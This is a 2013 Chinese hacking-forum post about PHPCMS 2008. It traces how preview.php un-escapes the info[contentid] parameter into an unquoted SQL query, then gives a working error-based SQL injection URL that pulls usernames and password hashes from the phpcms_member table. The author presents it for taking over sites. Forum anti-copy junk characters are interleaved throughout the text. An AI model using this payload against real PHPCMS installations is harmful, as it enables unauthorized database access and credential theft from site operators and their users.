中国网络渗透测试联盟
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
[打印本页]
作者:
admin
时间:
2013-4-19 19:17
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
! z6 v& Z, j# F
5 E" n/ K+ Z* ~& R: H Q
要转摘的兄弟们,你们还是带个版权吧!
% l& d6 o: z2 @3 Z
3 p0 I# Q% ?# u0 O2 ?# s4 D
组织 :
http://www.safekeyer.com/
(欢迎访问)
, |+ z+ i5 h0 |5 N2 R( p( P: b
& w* [' q& B9 G; t$ d
author: 西毒 blog:
http://hi.baidu.com/sethc5
% F) g9 `& h) F- {7 y
& y; m( }% u* ?" D2 } I- o) k
3 k+ b0 D2 Q) X+ k4 f
! e! i' b! u6 K" W# A, M' F1 W' l
其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.
2 x: y# o$ r( G3 Q/ T' _
+ e0 R# e7 z* o+ v
过程不明显的我就省略了。
' M& M. Q5 X3 J6 \8 `
, O; H4 p1 f B' C
在preview.php 中第7行
: L' D7 R! y3 G4 e- }' x. b
) s$ M5 V7 A0 H( a
$r = new_stripslashes($info);
9 R/ [3 h; k4 K
: e7 z, X4 t. j
我们跟踪new_stripslashes这个函数
; B) Z. f6 y: Y$ j
( D& R9 d: e8 J( ~8 J0 m
在global.func.php中可以找到
0 n# m5 V3 y+ a; ]5 a M ]
; D4 r O/ b$ T- U& g7 j2 z
1
" \0 r; G- u# K$ w
2
/ P% t8 Y& g( I
3
) J7 O! J+ \( @& Z
4
" y9 d3 R2 I* V; i5 h& s
5
( }* ~1 P+ G: w# Y; ]
6 function new_stripslashes($string)
) c) \: e' N) P) c& l7 q
{
0 Z0 Y' s+ k7 U" O
if(!is_array($string)) return stripslashes($string);
1 F' r0 M" Z) ^& ~0 c \# e
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
2 z0 F: G( ]1 P: ?! ?4 o. A* F
return $string;
7 c; G/ A2 d/ l1 e6 D i
}
8 P% _' d4 R, R
, \+ \- k. A; | T# U
这个函数的功能不用解释了吧
Y6 f1 y2 c" |- C( q: v; Y: k
4 s, h( t6 b) b" Y
所以我们看具体应用点再哪?
/ w( p, K* u4 f1 @ T6 H
$ n, c- o2 V* n# D* S+ h) l8 ^
1
2 v4 f$ V9 j7 c& L4 P3 U* X
2
# e* z# x" r( B1 L: g' a" M
3
! ?& t9 u- C' G# M
4
, u, [5 w, I# H
5
& t+ c) |- D; K5 V
6
) Z, k6 D4 _4 S- U/ O' s, L
7
" C6 X3 U0 v7 A' q3 U
8
2 H+ ?, }0 c; a; x( b2 ?
9
% B) ~$ Y* W. e) Y9 h R
10
/ O) {& ]2 \9 }. b
11
3 U$ g7 n7 O F$ h8 q4 v$ F" @& v
12
0 _( S( L: ]7 f" `+ ^( `! Y/ q! e C
13
9 {# `0 h6 k0 V. p' Y
14
4 Z8 R' V, D/ V8 _# N. W$ E h
15
+ P5 N2 p1 L3 P- ?: p* `- K
16
1 c% \. C) f- `
17
; r% ^$ N! U5 e, Q% v8 e9 X) E+ V
18
6 B4 z$ b& j% T$ y7 Q
19
N# O x' c' G9 L$ _
20
) A) R- Y$ Y6 P; W% _
21
3 e! l3 X7 G c- T2 I
22
( _1 [0 l/ g' c
23
( Y: F; W; V$ z7 |
24
- `, E- i# B* L/ J$ T% l; O
25
7 c2 \9 ^0 u% ]& ?
26
0 @" T+ H+ {( l
27
9 {2 G& x+ U A m: ^$ ~
28
; m0 Z2 O( D+ _0 F2 u
29
7 \' W4 D2 W7 V! n2 [
30
* y# t% }6 p; b" A5 z! t
31
/ r' V' `/ Z6 }0 x
32
) K# p# C P, p1 t' F- l
33
" _0 ^# f& u- a
34
) V) B+ r* B0 O6 o
35 require dirname(__FILE__).'/include/common.inc.php';
, \$ H g- C/ z/ t1 n- H
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
3 y! q, e. i: m4 [, c9 S# ^7 |6 s
require_once CACHE_MODEL_PATH.'content_output.class.php';
0 O/ r) \6 {' ~. m, e
require_once 'output.class.php';
; f5 `& D; f- g9 B& I7 z! A
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
7 _+ H# T7 s, w T I
$r = new_stripslashes($info); //反转义了.....关键
7 I- D+ t* w# R9 K: ~' U
$C = cache_read('category_'.$r['catid'].'.php');
& i- e; T; z% i( k
$out = new content_output();
6 r; j( I/ w+ S
$r['userid'] = $_userid;
0 e+ G) {# X/ ~
$r['inputtime'] = TIME;
. U7 B" W* t' A" Q O7 A
$data = $out->get($r);
$ J5 d- E* I k. a6 b6 y3 D- R! Y
extract($data);
& F# Q) T( w% l6 f' b* I, d
$userid = $_username;
$ b; ^* `& Y" l& N6 k$ k. x
for($i=1;$i<10;$i++)
. w8 k: c* N" z1 F
{
: I8 ]! ^9 S7 g5 v) G
$str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
1 J# w5 S( ]$ B' x; A
}
$ {8 Q2 Z; X: a
, W- P) [" x! ?- ]; B9 |
$array_images = $str_attachmentArray;
; i( M: _% J2 ~; H% R2 d' v9 y7 F
$images_number = 10;
5 a( f4 D8 V+ q7 u+ f5 _- K1 v% w
$allow_priv = $allow_readpoint = 1;
8 ^; q a' w* ^8 R2 m, o/ `
$updatetime = date('Y-m-d H:i:s',TIME);
; J$ k, f0 C0 e+ j
! m F3 w% l( J
$page = max(intval($page), 1);
- h% F* }' c( k8 D! P
$pages = $titles = '';
- s; k) s+ e7 f6 ]1 y
if(strpos($content, '') !== false) //这里必须还有这个这个字符.....才能操作哈
6 S& K9 J2 F5 B# A4 x3 q1 d k
{
3 F% ]+ p. e8 z! s! @+ J: Y9 d5 o
require_once 'url.class.php';
. [& [4 @* m; W3 }3 p( c
$curl = new url();
. @3 Q3 c( R0 O
$contents = array_filter(explode('', $content));
" e- a j% A- u* o V
$pagenumber = count($contents);
. G# |7 O9 t+ c; S$ z; n' l* w4 t1 L
for($i=1; $i<=$pagenumber; $i++)
9 @0 D2 h% I u
{
; X! [3 V6 s: H" `
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
4 g2 Q4 m1 P* b
}
, O6 l& ^- U. _
其中细节我就不说了...
; Z l+ k& I1 t! ~( s$ F
, ]5 |. F$ f) T5 a
我们看看这个$curl资源句柄中的show方法
0 Z8 ?; j0 x- d% v% L+ i
$ J- h4 c( E+ x9 K6 f
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
3 |; B: ~, S3 a4 i1 y& r6 m, w
' a: H# N! a! c9 f* ^1 ]5 {
1
0 v. u) E7 a( b$ T% x% D
2
" W( l1 h8 f# i- N/ B8 s
3
r1 V" F, y1 w* z
4
6 t. A' W5 f% l- ?# m8 i
5
: J% x, H+ j" e4 a# L1 V) f
6
+ W, f, E# z0 _5 ^' O2 s
7
/ T! K/ H- h8 d7 I
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
$ M: q7 A; ], U% I/ M/ ?+ Z) K9 T. l
{
2 K2 {# H' `8 Y# u* J0 W3 i; ?+ u
global $PHPCMS;
, R& k; C* X1 ~5 r5 t* P4 m
if($catid == 0 || $time == 0 || $prefix == '')
5 U9 q1 f1 C4 i7 G! r
{
: g4 I) e% t2 h. x
$r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
! S. U8 f) j3 D# `% S
if($r['isupgrade'] && !empty($r['url']))
; W+ r0 o8 h8 y
{
" U# K# j% {; Q% g% r+ t
* y# T" L: y. j/ `% {9 B
所以结合前面的......我们x站了吧
6 }5 M# A- Y6 }! o5 o% a. C
# j% n$ Y+ w3 r, g/ j' U2 E% J
给出exp
7 V! q% w1 K2 T" e
c" G, N2 p& [6 Z8 H
www.xxxxx.com/preview.php?info
[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a
8 w$ d, x2 z- @. W' N
M2 r3 l3 E9 m6 g3 e3 V4 G
截图看一下
6 y' a7 Q% d1 k! J, e; Y
. _. p- H9 Z/ w; q' @
最后真心说句,360收购漏洞计划,价格真心低.....
& }. H! T7 C: i0 ^+ {: R
http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2